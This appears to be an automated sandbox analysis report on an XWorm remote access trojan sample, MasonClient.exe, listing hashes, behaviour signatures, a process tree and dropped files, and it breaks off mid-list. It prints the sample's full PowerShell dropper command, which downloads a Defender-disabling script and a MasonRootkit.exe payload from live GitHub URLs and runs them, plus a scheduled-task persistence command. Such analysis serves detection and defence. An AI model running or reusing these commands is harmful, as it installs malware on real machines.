Overview

overview

10

Static

static

10

MasonClient.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    864s
  • max time network
    864s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/03/2025, 22:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    MasonClient.exe

  • Size

    50KB

  • MD5

    7eecbfee976f4b6944cce2362d532266

  • SHA1

    5996357ec345f0feeb14bd79f54392cc3075cb59

  • SHA256

    33390c4e76ef805c8f426b64803265cffacb3e5b49c2fe44eecb6e125e8dcd23

  • SHA512

    cb7c952963d14efd16f6752d49481072218d67fcd6decfb43fa000fe139bcb7a22e62087613fad021c83ad0867937db24d70b54eaed9b8321f087494ea39a97f

  • SSDEEP

    768:BIXLzBU97JP7LzxqMIEmOVjWjlbQ0eiVQGit/X6DlvuhJOWCAzuV:BIbzq91P73E3ESBbQ0ex/hbOW5uV

Score
10/10
xwormexecutionpersistencerattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 3 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Drops file in System32 directory 14 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 17 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 7 IoCs
  • Modifies data under HKEY_USERS 24 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:60
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{e5905c4e-2d07-4240-8f4b-cf5a29ee6690}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1780
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:684
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:956
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:392
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
            1⤵
              PID:1032
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:1056
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:1068
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                  • Drops file in System32 directory
                  PID:1184
                  • C:\Windows\system32\taskhostw.exe
                    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                    2⤵
                      PID:3116
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:464
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:3564
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:5012
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:3952
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:3956
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:3184
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:3656
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:3788
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:2708
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:880
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:4908
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:5348
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:184
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:2040
                    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      C:\Users\Admin\AppData\Roaming\MasonClient.exe
                      2⤵
                      • Executes dropped EXE
                      PID:3056
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                      PID:1220
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1268
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1320
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                          1⤵
                            PID:1336
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                            1⤵
                              PID:1420
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1436
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:1076
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1516
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1528
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1644
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1692
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1748
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1768
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1836
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1884
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1892
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:1956
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                      1⤵
                                                        PID:2044
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:1444
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2132
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                            1⤵
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2208
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2304
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                              1⤵
                                                                PID:2364
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2372
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                  1⤵
                                                                  • Drops file in System32 directory
                                                                  • Suspicious use of UnmapMainImage
                                                                  PID:2448
                                                                • C:\Windows\sysmon.exe
                                                                  C:\Windows\sysmon.exe
                                                                  1⤵
                                                                    PID:2472
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2520
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2564
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                          PID:2584
                                                                        • C:\Windows\system32\wbem\unsecapp.exe
                                                                          C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                          1⤵
                                                                            PID:2796
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                            1⤵
                                                                              PID:516
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                              1⤵
                                                                                PID:3156
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                1⤵
                                                                                  PID:3340
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                  • Suspicious use of UnmapMainImage
                                                                                  PID:3452
                                                                                  • C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
                                                                                    2⤵
                                                                                    • Checks computer location settings
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:3108
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
                                                                                      3⤵
                                                                                      • Blocklisted process makes network request
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Downloads MZ/PE file
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:6128
                                                                                      • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
                                                                                        4⤵
                                                                                        • Checks computer location settings
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:4524
                                                                                        • C:\ProgramData\MasonRootkit.exe
                                                                                          "C:\ProgramData\MasonRootkit.exe"
                                                                                          5⤵
                                                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of SetThreadContext
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4464
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp93B4.tmp.bat""
                                                                                          5⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4288
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            6⤵
                                                                                              PID:2104
                                                                                            • C:\Windows\system32\timeout.exe
                                                                                              timeout 3
                                                                                              6⤵
                                                                                              • Delays execution with timeout.exe
                                                                                              PID:1584
                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                        "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
                                                                                        3⤵
                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                        PID:2668
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3624
                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                      1⤵
                                                                                        PID:3808
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:4000
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                          • Suspicious use of UnmapMainImage
                                                                                          PID:4268
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                          1⤵
                                                                                          • Modifies data under HKEY_USERS
                                                                                          PID:4964
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                          1⤵
                                                                                            PID:4204
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                            1⤵
                                                                                              PID:5676
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                              1⤵
                                                                                                PID:5876
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                1⤵
                                                                                                • Modifies data under HKEY_USERS
                                                                                                PID:2296
                                                                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                1⤵
                                                                                                • Drops file in System32 directory
                                                                                                • Modifies data under HKEY_USERS
                                                                                                PID:4252
                                                                                              • C:\Windows\system32\SppExtComObj.exe
                                                                                                C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                1⤵
                                                                                                  PID:3168
                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                  1⤵
                                                                                                    PID:832
                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                    1⤵
                                                                                                      PID:1168
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                      1⤵
                                                                                                        PID:1784
                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:6008
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                          • Modifies registry class
                                                                                                          • Suspicious use of UnmapMainImage
                                                                                                          PID:5164
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:2876
                                                                                                          • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                            C:\Windows\System32\WaaSMedicAgent.exe 640e82258ed73301058ffb932ca4e3dc RQBRUvFrF0qFdpWPZkJHXQ.0.1.0.0.0
                                                                                                            1⤵
                                                                                                            • Sets service image path in registry
                                                                                                            PID:216
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              2⤵
                                                                                                                PID:1684
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                              1⤵
                                                                                                              • Drops file in Windows directory
                                                                                                              PID:3048
                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                              1⤵
                                                                                                              • Checks BIOS information in registry
                                                                                                              • Checks SCSI registry key(s)
                                                                                                              • Enumerates system info in registry
                                                                                                              PID:1828
                                                                                                            • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              1⤵
                                                                                                                PID:1560
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                1⤵
                                                                                                                • Checks processor information in registry
                                                                                                                PID:440
                                                                                                              • C:\Windows\System32\mousocoreworker.exe
                                                                                                                C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                1⤵
                                                                                                                • Checks processor information in registry
                                                                                                                • Enumerates system info in registry
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                PID:4140
                                                                                                              • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                1⤵
                                                                                                                  PID:6052
                                                                                                                • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:5624
                                                                                                                  • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                    "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                    1⤵
                                                                                                                      PID:2688
                                                                                                                    • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                      "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                      1⤵
                                                                                                                        PID:5320
                                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                        1⤵
                                                                                                                          PID:3516
                                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                          1⤵
                                                                                                                            PID:4808
                                                                                                                          • C:\Windows\System32\mousocoreworker.exe
                                                                                                                            C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                            • Checks processor information in registry
                                                                                                                            • Enumerates system info in registry
                                                                                                                            PID:2168
                                                                                                                          • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                            1⤵
                                                                                                                              PID:2320
                                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                              1⤵
                                                                                                                                PID:5280
                                                                                                                              • C:\Windows\System32\mousocoreworker.exe
                                                                                                                                C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                1⤵
                                                                                                                                • Checks processor information in registry
                                                                                                                                • Enumerates system info in registry
                                                                                                                                PID:4064
                                                                                                                              • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                                1⤵
                                                                                                                                  PID:1236

                                                                                                                                Network

                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                Replay Monitor

                                                                                                                                Loading Replay Monitor...

                                                                                                                                Downloads

                                                                                                                                • C:\ProgramData\MasonRootkit.exe
                                                                                                                                  Filesize

                                                                                                                                  596KB

                                                                                                                                  MD5

                                                                                                                                  bb2fd6c1b233fd2f08a6a43ef860bcb6

                                                                                                                                  SHA1

                                                                                                                                  1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

                                                                                                                                  SHA256

                                                                                                                                  8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

                                                                                                                                  SHA512

                                                                                                                                  2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

                                                                                                                                  Download Submit

                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonClient.exe.log
                                                                                                                                  Filesize

                                                                                                                                  654B

                                                                                                                                  MD5

                                                                                                                                  2ff39f6c7249774be85fd60a8f9a245e

                                                                                                                                  SHA1

                                                                                                                                  684ff36b31aedc1e587c8496c02722c6698c1c4e

                                                                                                                                  SHA256

                                                                                                                                  e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                                                                                                                                  SHA512

                                                                                                                                  1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                                                                                                                                  Download Submit

                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonRootkit.exe.log
                                                                                                                                  Filesize

                                                                                                                                  1KB

                                                                                                                                  MD5

                                                                                                                                  3982d6d16fd43ae609fd495bb33433a2

                                                                                                                                  SHA1

                                                                                                                                  6c33cd681fdfd9a844a3128602455a768e348765

                                                                                                                                  SHA256

                                                                                                                                  9a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9

                                                                                                                                  SHA512

                                                                                                                                  4b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa

                                                                                                                                  Download Submit

                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                                                                  Filesize

                                                                                                                                  612KB

                                                                                                                                  MD5

                                                                                                                                  5e1eb1a67d40ccae40dee2a037ca6c64

                                                                                                                                  SHA1

                                                                                                                                  786b54d3d451ea40faeeb20fd30a38744862eeb5

                                                                                                                                  SHA256

                                                                                                                                  80e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f

                                                                                                                                  SHA512

                                                                                                                                  0484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205

                                                                                                                                  Download Submit

                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nfft3j4c.jwc.ps1
                                                                                                                                  Filesize

                                                                                                                                  60B

                                                                                                                                  MD5

                                                                                                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                  SHA1

                                                                                                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                  SHA256

                                                                                                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                  SHA512

                                                                                                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                  Download Submit

                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\tmp93B4.tmp.bat
                                                                                                                                  Filesize

                                                                                                                                  164B

                                                                                                                                  MD5

                                                                                                                                  4fd36afc1f7c4347c8a65207d0f617c1

                                                                                                                                  SHA1

                                                                                                                                  30b5b0537cbd95c7ac6c607a0f5e58c832da1c90

                                                                                                                                  SHA256

                                                                                                                                  56022f98e9893eb6dec8445b762f8da994e55ecb13c2080944cbf83b9d6f52ed

                                                                                                                                  SHA512

                                                                                                                                  4672d831e4c91c4786126922cc7f37332b4fd937506b29ac91602141f2b2a90434e3ae120b068891fe6e1b39920658043d0fa47301262d661f1d7c2d59532915

                                                                                                                                  Download Submit

                                                                                                                                • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                                                                                                                                  Filesize

                                                                                                                                  50KB

                                                                                                                                  MD5

                                                                                                                                  7eecbfee976f4b6944cce2362d532266

                                                                                                                                  SHA1

                                                                                                                                  5996357ec345f0feeb14bd79f54392cc3075cb59

                                                                                                                                  SHA256

                                                                                                                                  33390c4e76ef805c8f426b64803265cffacb3e5b49c2fe44eecb6e125e8dcd23

                                                                                                                                  SHA512

                                                                                                                                  cb7c952963d14efd16f6752d49481072218d67fcd6decfb43fa000fe139bcb7a22e62087613fad021c83ad0867937db24d70b54eaed9b8321f087494ea39a97f

                                                                                                                                  Download Submit

                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                                                  Filesize

                                                                                                                                  2KB

                                                                                                                                  MD5

                                                                                                                                  8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                                  SHA1

